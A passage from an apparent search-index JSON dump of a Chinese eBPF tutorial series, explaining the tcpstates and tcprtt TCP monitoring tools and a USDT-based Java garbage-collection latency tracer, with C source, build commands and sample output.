perf_buffer__poll，来接收和处理内核态发送过来的数据。我们还讲解了如何对这些数据进行解析和打印，使得它们能以人类可读的形式显示出来。 如果您希望学习更多关于 eBPF 的知识和实践，请查阅 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 总结","id":"81","title":"总结"},"82":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍两个示例程序：tcpstates 和 tcprtt。tcpstates 用于记录 TCP 连接的状态变化，而 tcprtt 则用于记录 TCP 的往返时间 (RTT, Round-Trip Time)。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT","id":"82","title":"eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT"},"83":{"body":"网络质量在当前的互联网环境中至关重要。影响网络质量的因素有许多，包括硬件、网络环境、软件编程的质量等。为了帮助用户更好地定位网络问题，我们引入了 tcprtt 这个工具。tcprtt 可以监控 TCP 链接的往返时间，从而评估网络质量，帮助用户找出可能的问题所在。 当 TCP 链接建立时，tcprtt 会自动根据当前系统的状况，选择合适的执行函数。在执行函数中，tcprtt 会收集 TCP 链接的各项基本信息，如源地址、目标地址、源端口、目标端口、耗时等，并将这些信息更新到直方图型的 BPF map 中。运行结束后，tcprtt 会通过用户态代码，将收集的信息以图形化的方式展示给用户。 tcpstates 则是一个专门用来追踪和打印 TCP 连接状态变化的工具。它可以显示 TCP 连接在每个状态中的停留时长，单位为毫秒。例如，对于一个单独的 TCP 会话，tcpstates 可以打印出类似以下的输出： SKADDR C-PID C-COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9fd7e8192000 22384 curl 100.66.100.185 0 52.33.159.26 80 CLOSE -> SYN_SENT 0.000\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 SYN_SENT -> ESTABLISHED 1.373\nffff9fd7e8192000 22384 curl 100.66.100.185 63446 52.33.159.26 80 ESTABLISHED -> FIN_WAIT1 176.042\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT1 -> FIN_WAIT2 0.536\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT2 -> CLOSE 0.006 以上输出中，最多的时间被花在了 ESTABLISHED 状态，也就是连接已经建立并在传输数据的状态，这个状态到 FIN_WAIT1 状态（开始关闭连接的状态）的转变过程中耗费了 176.042 毫秒。 在我们接下来的教程中，我们会更深入地探讨这两个工具，解释它们的实现原理，希望这些内容对你在使用 eBPF 进行网络和性能分析方面的工作有所帮助。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt 与 tcpstates","id":"83","title":"tcprtt 与 tcpstates"},"84":{"body":"由于篇幅所限，这里我们主要讨论和分析对应的 eBPF 内核态代码实现。以下是 tcpstate 的 eBPF 代码： const volatile bool filter_by_sport = false;\nconst volatile bool filter_by_dport = false;\nconst volatile short target_family = 0; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} sports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} dports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct sock *); __type(value, __u64);\n} timestamps SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(__u32)); __uint(value_size, sizeof(__u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/sock/inet_sock_set_state\")\nint handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)\n{ struct sock *sk = (struct sock *)ctx->skaddr; __u16 family = ctx->family; __u16 sport = ctx->sport; __u16 dport = ctx->dport; __u64 *tsp, delta_us, ts; struct event event = {}; if (ctx->protocol != IPPROTO_TCP) return 0; if (target_family && target_family != family) return 0; if (filter_by_sport && !bpf_map_lookup_elem(&sports, &sport)) return 0; if (filter_by_dport && !bpf_map_lookup_elem(&dports, &dport)) return 0; tsp = bpf_map_lookup_elem(×tamps, &sk); ts = bpf_ktime_get_ns(); if (!tsp) delta_us = 0; else delta_us = (ts - *tsp) / 1000; event.skaddr = (__u64)sk; event.ts_us = ts / 1000; event.delta_us = delta_us; event.pid = bpf_get_current_pid_tgid() >> 32; event.oldstate = ctx->oldstate; event.newstate = ctx->newstate; event.family = family; event.sport = sport; event.dport = dport; bpf_get_current_comm(&event.task, sizeof(event.task)); if (family == AF_INET) { bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_rcv_saddr); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_daddr); } else { /* family == AF_INET6 */ bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); if (ctx->newstate == TCP_CLOSE) bpf_map_delete_elem(×tamps, &sk); else bpf_map_update_elem(×tamps, &sk, &ts, BPF_ANY); return 0;\n} tcpstates主要依赖于 eBPF 的 Tracepoints 来捕获 TCP 连接的状态变化，从而跟踪 TCP 连接在每个状态下的停留时间。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcpstate","id":"84","title":"tcpstate"},"85":{"body":"在tcpstates程序中，首先定义了几个 BPF Maps，它们是 eBPF 程序和用户态程序之间交互的主要方式。sports和dports分别用于存储源端口和目标端口，用于过滤 TCP 连接；timestamps用于存储每个 TCP 连接的时间戳，以计算每个状态的停留时间；events则是一个 perf_event 类型的 map，用于将事件数据发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 定义 BPF Maps","id":"85","title":"定义 BPF Maps"},"86":{"body":"程序定义了一个名为handle_set_state的函数，该函数是一个 tracepoint 类型的程序，它将被挂载到sock/inet_sock_set_state这个内核 tracepoint 上。每当 TCP 连接状态发生变化时，这个 tracepoint 就会被触发，然后执行handle_set_state函数。 在handle_set_state函数中，首先通过一系列条件判断确定是否需要处理当前的 TCP 连接，然后从timestampsmap 中获取当前连接的上一个时间戳，然后计算出停留在当前状态的时间。接着，程序将收集到的数据放入一个 event 结构体中，并通过bpf_perf_event_output函数将该 event 发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 追踪 TCP 连接状态变化","id":"86","title":"追踪 TCP 连接状态变化"},"87":{"body":"最后，根据 TCP 连接的新状态，程序将进行不同的操作：如果新状态为 TCP_CLOSE，表示连接已关闭，程序将从timestampsmap 中删除该连接的时间戳；否则，程序将更新该连接的时间戳。 用户态的部分主要是通过 libbpf 来加载 eBPF 程序，然后通过 perf_event 来接收内核中的事件数据： static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { char ts[32], saddr[26], daddr[26]; struct event* e = data; struct tm* tm; int family; time_t t; if (emit_timestamp) { time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%8s \", ts); } inet_ntop(e->family, &e->saddr, saddr, sizeof(saddr)); inet_ntop(e->family, &e->daddr, daddr, sizeof(daddr)); if (wide_output) { family = e->family == AF_INET ? 4 : 6; printf( \"%-16llx %-7d %-16s %-2d %-26s %-5d %-26s %-5d %-11s -> %-11s \" \"%.3f\\n\", e->skaddr, e->pid, e->task, family, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); } else { printf( \"%-16llx %-7d %-10.10s %-15s %-5d %-15s %-5d %-11s -> %-11s %.3f\\n\", e->skaddr, e->pid, e->task, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); }\n} handle_event就是这样一个回调函数，它会被 perf_event 调用，每当内核有新的事件到达时，它就会处理这些事件。 在handle_event函数中，我们首先通过inet_ntop函数将二进制的 IP 地址转换成人类可读的格式，然后根据是否需要输出宽格式，分别打印不同的信息。这些信息包括了事件的时间戳、源 IP 地址、源端口、目标 IP 地址、目标端口、旧状态、新状态以及在旧状态停留的时间。 这样，用户就可以清晰地看到 TCP 连接状态的变化，以及每个状态的停留时间，从而帮助他们诊断网络问题。 总结起来，用户态部分的处理主要涉及到了以下几个步骤： 使用 libbpf 加载并运行 eBPF 程序。 设置回调函数来接收内核发送的事件。 处理接收到的事件，将其转换成人类可读的格式并打印。 以上就是tcpstates程序用户态部分的主要实现逻辑。通过这一章的学习，你应该已经对如何在用户态处理内核事件有了更深入的理解。在下一章中，我们将介绍更多关于如何使用 eBPF 进行网络监控的知识。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 更新时间戳","id":"87","title":"更新时间戳"},"88":{"body":"在本章节中，我们将分析tcprtt eBPF 程序的内核态代码。tcprtt是一个用于测量 TCP 往返时间(Round Trip Time, RTT)的程序，它将 RTT 的信息统计到一个 histogram 中。 /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u64); __type(value, struct hist);\n} hists SEC(\".maps\"); static struct hist zero; SEC(\"fentry/tcp_rcv_established\")\nint BPF_PROG(tcp_rcv, struct sock *sk)\n{ const struct inet_sock *inet = (struct inet_sock *)(sk); struct tcp_sock *ts; struct hist *histp; u64 key, slot; u32 srtt; if (targ_sport && targ_sport != inet->inet_sport) return 0; if (targ_dport && targ_dport != sk->__sk_common.skc_dport) return 0; if (targ_saddr && targ_saddr != inet->inet_saddr) return 0; if (targ_daddr && targ_daddr != sk->__sk_common.skc_daddr) return 0; if (targ_laddr_hist) key = inet->inet_saddr; else if (targ_raddr_hist) key = inet->sk.__sk_common.skc_daddr; else key = 0; histp = bpf_map_lookup_or_try_init(&hists, &key, &zero); if (!histp) return 0; ts = (struct tcp_sock *)(sk); srtt = BPF_CORE_READ(ts, srtt_us) >> 3; if (targ_ms) srtt /= 1000U; slot = log2l(srtt); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); if (targ_show_ext) { __sync_fetch_and_add(&histp->latency, srtt); __sync_fetch_and_add(&histp->cnt, 1); } return 0;\n} 首先，我们定义了一个 hash 类型的 eBPF map，名为hists，它用来存储 RTT 的统计信息。在这个 map 中，键是 64 位整数，值是一个hist结构，这个结构包含了一个数组，用来存储不同 RTT 区间的数量。 接着，我们定义了一个 eBPF 程序，名为tcp_rcv，这个程序会在每次内核中处理 TCP 收包的时候被调用。在这个程序中，我们首先根据过滤条件（源/目标 IP 地址和端口）对 TCP 连接进行过滤。如果满足条件，我们会根据设置的参数选择相应的 key（源 IP 或者目标 IP 或者 0），然后在hists map 中查找或者初始化对应的 histogram。 接下来，我们读取 TCP 连接的srtt_us字段，这个字段表示了平滑的 RTT 值，单位是微秒。然后我们将这个 RTT 值转换为对数形式，并将其作为 slot 存储到 histogram 中。 如果设置了show_ext参数，我们还会将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 通过以上的处理，我们可以对每个 TCP 连接的 RTT 进行统计和分析，从而更好地理解网络的性能状况。 总结起来，tcprtt eBPF 程序的主要逻辑包括以下几个步骤： 根据过滤条件对 TCP 连接进行过滤。 在hists map 中查找或者初始化对应的 histogram。 读取 TCP 连接的srtt_us字段，并将其转换为对数形式，存储到 histogram 中。 如果设置了show_ext参数，将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 tcprtt 挂载到了内核态的 tcp_rcv_established 函数上： void tcp_rcv_established(struct sock *sk, struct sk_buff *skb); 这个函数是在内核中处理TCP接收数据的主要函数，主要在TCP连接处于ESTABLISHED状态时被调用。这个函数的处理逻辑包括一个快速路径和一个慢速路径。快速路径在以下几种情况下会被禁用： 我们宣布了一个零窗口 - 零窗口探测只能在慢速路径中正确处理。 收到了乱序的数据包。 期待接收紧急数据。 没有剩余的缓冲区空间。 接收到了意外的TCP标志/窗口值/头部长度（通过检查TCP头部与预设标志进行检测）。 数据在两个方向上都在传输。快速路径只支持纯发送者或纯接收者（这意味着序列号或确认值必须保持不变）。 接收到了意外的TCP选项。 当这些条件不满足时，它会进入一个标准的接收处理过程，这个过程遵循RFC793来处理所有情况。前三种情况可以通过正确的预设标志设置来保证，剩下的情况则需要内联检查。当一切都正常时，快速处理过程会在tcp_data_queue函数中被开启。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt","id":"88","title":"tcprtt"},"89":{"body":"对于 tcpstates，可以通过以下命令编译和运行 libbpf 应用： $ make\n... BPF .output/tcpstates.bpf.o GEN-SKEL .output/tcpstates.skel.h CC .output/tcpstates.o BINARY tcpstates\n$ sudo ./tcpstates SKADDR PID COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9bf61bb62bc0 164978 node 192.168.88.15 0 52.178.17.2 443 CLOSE -> SYN_SENT 0.000\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 SYN_SENT -> ESTABLISHED 225.794\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 ESTABLISHED -> CLOSE_WAIT 901.454\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 CLOSE_WAIT -> LAST_ACK 0.793\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> LAST_ACK 0.086\nffff9bf61bb62bc0 228759 kworker/u6 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> CLOSE 0.193\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 CLOSE -> LISTEN 0.000\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 LISTEN -> CLOSE 1.763\nffff9bf7109d6900 88750 node 127.0.0.1 39755 127.0.0.1 50966 ESTABLISHED -> FIN_WAIT1 0.000 对于 tcprtt，我们可以使用 eunomia-bpf 编译运行这个例子： Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc tcprtt.bpf.c tcprtt.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... 运行： $ sudo ecli run package.json -h\nA simple eBPF program Usage: package.json [OPTIONS] Options: --verbose Whether to show libbpf debug information --targ_laddr_hist Set value of `bool` variable targ_laddr_hist --targ_raddr_hist Set value of `bool` variable targ_raddr_hist --targ_show_ext Set value of `bool` variable targ_show_ext --targ_sport  Set value of `__u16` variable targ_sport --targ_dport  Set value of `__u16` variable targ_dport --targ_saddr  Set value of `__u32` variable targ_saddr --targ_daddr  Set value of `__u32` variable targ_daddr --targ_ms Set value of `bool` variable targ_ms -h, --help Print help -V, --version Print version Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run package.json\nkey = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 4 |******************** | 1024 -> 2047 : 1 |***** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 8 |****************************************| key = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 11 |*************************** | 1024 -> 2047 : 1 |** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 16 |****************************************| 8192 -> 16383 : 4 |********** | 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/14-tcpstates 参考资料： tcpstates tcprtt libbpf-tools/tcpstates","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 编译运行","id":"89","title":"编译运行"},"9":{"body":"eBPF Go库提供了一个通用的eBPF库，它解耦了获取 eBPF 字节码的过程和 eBPF 程序的加载和管理，并实现了类似 libbpf 一样的 CO- 功能。eBPF程序通常是通过编写高级语言创建的，然后使用clang/LLVM编译器编译为eBPF字节码。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF Go library","id":"9","title":"eBPF Go library"},"90":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用tcpstates和tcprtt这两个 eBPF 示例程序，监控和分析 TCP 的连接状态和往返时间。我们了解了tcpstates和tcprtt的工作原理和实现方式，包括如何使用 BPF map 存储数据，如何在 eBPF 程序中获取和处理 TCP 连接信息，以及如何在用户态应用程序中解析和显示 eBPF 程序收集的数据。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 总结","id":"90","title":"总结"},"91":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。此外，eBPF 还支持使用 USDT (用户级静态定义跟踪点) 捕获用户态的应用程序行为。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍如何使用 eBPF 和 USDT 来捕获和分析 Java 的垃圾回收 (GC) 事件的耗时。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时","id":"91","title":"eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时"},"92":{"body":"USDT 是一种在应用程序中插入静态跟踪点的机制，它允许开发者在程序的关键位置插入可用于调试和性能分析的探针。这些探针可以在运行时被 DTrace、SystemTap 或 eBPF 等工具动态激活，从而在不重启应用程序或更改程序代码的情况下，获取程序的内部状态和性能指标。USDT 在很多开源软件，如 MySQL、PostgreSQL、Ruby、Python 和 Node.js 等都有广泛的应用。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » USDT 介绍","id":"92","title":"USDT 介绍"},"93":{"body":"在用户层面进行动态跟踪，即用户级动态跟踪（User-Level Dynamic Tracing）允许我们对任何用户级别的代码进行插桩。比如，我们可以通过在 MySQL 服务器的 dispatch_command() 函数上进行插桩，来跟踪服务器的查询请求： # ./uprobe 'p:cmd /opt/bin/mysqld:_Z16dispatch_command19enum_server_commandP3THDPcj +0(%dx):string'\nTracing uprobe cmd (p:cmd /opt/bin/mysqld:0x2dbd40 +0(%dx):string). Ctrl-C to end. mysqld-2855 [001] d... 19957757.590926: cmd: (0x6dbd40) arg1=\"show tables\" mysqld-2855 [001] d... 19957759.703497: cmd: (0x6dbd40) arg1=\"SELECT * FROM numbers\"\n[...] 这里我们使用了 uprobe 工具，它利用了 Linux 的内置功能：ftrace（跟踪器）和 uprobes（用户级动态跟踪，需要较新的 Linux 版本，例如 4.0 左右）。其他的跟踪器，如 perf_events 和 SystemTap，也可以实现此功能。 许多其他的 MySQL 函数也可以被跟踪以获取更多的信息。我们可以列出和计算这些函数的数量： # ./uprobe -l /opt/bin/mysqld | more\naccount_hash_get_key\nadd_collation\nadd_compiled_collation\nadd_plugin_noargs\nadjust_time_range\n[...]\n# ./uprobe -l /opt/bin/mysqld | wc -l\n21809 这有 21,000 个函数。我们也可以跟踪库函数，甚至是单个的指令偏移。 用户级动态跟踪的能力是非常强大的，它可以解决无数的问题。然而，使用它也有一些困难：需要确定需要跟踪的代码，处理函数参数，以及应对代码的更改。 用户级静态定义跟踪（User-level Statically Defined Tracing, USDT）则可以在某种程度上解决这些问题。USDT 探针（或者称为用户级 \"marker\"）是开发者在代码的关键位置插入的跟踪宏，提供稳定且已经过文档说明的 API。这使得跟踪工作变得更加简单。 使用 USDT，我们可以简单地跟踪一个名为 mysql:query__start 的探针，而不是去跟踪那个名为 _Z16dispatch_command19enum_server_commandP3THDPcj 的 C++ 符号，也就是 dispatch_command() 函数。当然，我们仍然可以在需要的时候去跟踪 dispatch_command() 以及 其他 21,000 个 mysqld 函数，但只有当 USDT 探针无法解决问题的时候我们才需要这么做。 在 Linux 中的 USDT，无论是哪种形式的静态跟踪点，其实都已经存在了几十年。它最近由于 Sun 的 DTrace 工具的流行而再次受到关注，这使得许多常见的应用程序，包括 MySQL、PostgreSQL、Node.js、Java 等都加入了 USDT。SystemTap 则开发了一种可以消费这些 DTrace 探针的方式。 你可能正在运行一个已经包含了 USDT 探针的 Linux 应用程序，或者可能需要重新编译（通常是 --enable-dtrace）。你可以使用 readelf 来进行检查，例如对于 Node.js： # readelf -n node\n[...]\nNotes at offset 0x00c43058 with length 0x00000494: Owner Data size Description stapsdt 0x0000003c NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: gc__start Location: 0x0000000000bf44b4, Base: 0x0000000000f22464, Semaphore: 0x0000000001243028 Arguments: 4@%esi 4@%edx 8@%rdi\n[...] stapsdt 0x00000082 NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: http__client__request Location: 0x0000000000bf48ff, Base: 0x0000000000f22464, Semaphore: 0x0000000001243024 Arguments: 8@%rax 8@%rdx 8@-136(%rbp) -4@-140(%rbp) 8@-72(%rbp) 8@-80(%rbp) -4@-144(%rbp)\n[...] 这就是使用 --enable-dtrace 重新编译的 node，以及安装了提供 \"dtrace\" 功能来构建 USDT 支持的 systemtap-sdt-dev 包。这里显示了两个探针：node:gc__start（开始进行垃圾回收）和 node:http__client__request。 在这一点上，你可以使用 SystemTap 或者 LTTng 来跟踪这些探针。然而，内置的 Linux 跟踪器，比如 ftrace 和 perf_events，目前还无法做到这一点（尽管 perf_events 的支持正在开发中）。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 用户层面的追踪机制：用户级动态跟踪和 USDT","id":"93","title":"用户层面的追踪机制：用户级动态跟踪和 USDT"},"94":{"body":"Java 作为一种高级编程语言，其自动垃圾回收（GC）是其核心特性之一。Java GC 的目标是自动地回收那些不再被程序使用的内存空间，从而减轻程序员在内存管理方面的负担。然而，GC 过程可能会引发应用程序的停顿，对程序的性能和响应时间产生影响。因此，对 Java GC 事件进行监控和分析，对于理解和优化 Java 应用的性能是非常重要的。 在接下来的教程中，我们将演示如何使用 eBPF 和 USDT 来监控和分析 Java GC 事件的耗时，希望这些内容对你在使用 eBPF 进行应用性能分析方面的工作有所帮助。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » Java GC 介绍","id":"94","title":"Java GC 介绍"},"95":{"body":"Java GC 的 eBPF 程序分为内核态和用户态两部分，我们会分别介绍这两部分的实现机制。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » eBPF 实现机制","id":"95","title":"eBPF 实现机制"},"96":{"body":"/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2022 Chen Tao */\n#include \n#include \n#include \n#include \n#include \"javagc.h\" struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 100); __type(key, uint32_t); __type(value, struct data_t);\n} data_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __type(key, int); __type(value, int);\n} perf_map SEC(\".maps\"); __u32 time; static int gc_start(struct pt_regs *ctx)\n{ struct data_t data = {}; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); bpf_map_update_elem(&data_map, &data.pid, &data, 0); return 0;\n} static int gc_end(struct pt_regs *ctx)\n{ struct data_t data = {}; struct data_t *p; __u32 val; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); p = bpf_map_lookup_elem(&data_map, &data.pid); if (!p) return 0; val = data.ts - p->ts; if (val > time) { data.ts = val; bpf_perf_event_output(ctx, &perf_map, BPF_F_CURRENT_CPU, &data, sizeof(data)); } bpf_map_delete_elem(&data_map, &data.pid); return 0;\n} SEC(\"usdt\")\nint handle_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 首先，我们定义了两个映射（map）： data_map：这个 hashmap 存储每个进程 ID 的垃圾收集开始时间。data_t 结构体包含进程 ID、CPU ID 和时间戳。 perf_map：这是一个 perf event array，用于将数据发送回用户态程序。 然后，我们有四个处理函数：gc_start、gc_end 和两个 USDT 处理函数 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end。这些函数都用 BPF 的 SEC(\"usdt\") 宏注解，以便在 Java 进程中捕获到与垃圾收集相关的 USDT 事件。 gc_start 函数在垃圾收集开始时被调用。它首先获取当前的 CPU ID、进程 ID 和时间戳，然后将这些数据存入 data_map。 gc_end 函数在垃圾收集结束时被调用。它执行与 gc_start 类似的操作，但是它还从 data_map 中检索开始时间，并计算垃圾收集的持续时间。如果持续时间超过了设定的阈值（变量 time），那么它将数据发送回用户态程序。 handle_gc_start 和 handle_gc_end 是针对垃圾收集开始和结束事件的处理函数，它们分别调用了 gc_start 和 gc_end。 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end 是针对内存池的垃圾收集开始和结束事件的处理函数，它们也分别调用了 gc_start 和 gc_end。 最后，我们有一个 LICENSE 数组，声明了该 BPF 程序的许可证，这是加载 BPF 程序所必需的。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 内核态程序","id":"96","title":"内核态程序"},"97":{"body":"用户态程序的主要目标是加载和运行eBPF程序，以及处理来自内核态程序的数据。它是通过 libbpf 库来完成这些操作的。这里我们省略了一些通用的加载和运行 eBPF 程序的代码，只展示了与 USDT 相关的部分。 第一个函数 get_jvmso_path 被用来获取运行的Java虚拟机（JVM）的 libjvm.so 库的路径。首先，它打开了 /proc//maps 文件，该文件包含了进程地址空间的内存映射信息。然后，它在文件中搜索包含 libjvm.so 的行，然后复制该行的路径到提供的参数中。 static int get_jvmso_path(char *path)\n{ char mode[16], line[128], buf[64]; size_t seg_start, seg_end, seg_off; FILE *f; int i = 0; sprintf(buf, \"/proc/%d/maps\", env.pid); f = fopen(buf, \"r\"); if (!f) return -1; while (fscanf(f, \"%zx-%zx %s %zx %*s %*d%[^\\n]\\n\", &seg_start, &seg_end, mode, &seg_off, line) == 5) { i = 0; while (isblank(line[i])) i++; if (strstr(line + i, \"libjvm.so\")) { break; } } strcpy(path, line + i); fclose(f); return 0;\n} 接下来，我们看到的是将 eBPF 程序（函数 handle_gc_start 和 handle_gc_end）附加到Java进程的相关USDT探针上。每个程序都通过调用 bpf_program__attach_usdt 函数来实现这一点，该函数的参数包括BPF程序、进程ID、二进制路径以及探针的提供者和名称。如果探针挂载成功，bpf_program__attach_usdt 将返回一个链接对象，该对象将存储在skeleton的链接成员中。如果挂载失败，程序将打印错误消息并进行清理。 skel->links.handle_mem_pool_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, binary_path, \"hotspot\", \"mem__pool__gc__begin\", NULL); if (!skel->links.handle_mem_pool_gc_start) { err = errno; fprintf(stderr, \"attach usdt mem__pool__gc__begin failed: %s\\n\", strerror(err)); goto cleanup; } skel->links.handle_mem_pool_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid, binary_path, \"hotspot\", \"mem__pool__gc__end\", NULL); if (!skel->links.handle_mem_pool_gc_end) { err = errno; fprintf(stderr, \"attach usdt mem__pool__gc__end failed: %s\\n\", strerror(err)); goto cleanup; } skel->links.handle_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, binary_path, \"hotspot\", \"gc__begin\", NULL); if (!skel->links.handle_gc_start) { err = errno; fprintf(stderr, \"attach usdt gc__begin failed: %s\\n\", strerror(err)); goto cleanup; } skel->links.handle_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid, binary_path, \"hotspot\", \"gc__end\", NULL); if (!skel->links.handle_gc_end) { err = errno; fprintf(stderr, \"attach usdt gc__end failed: %s\\n\", strerror(err)); goto cleanup; } 最后一个函数 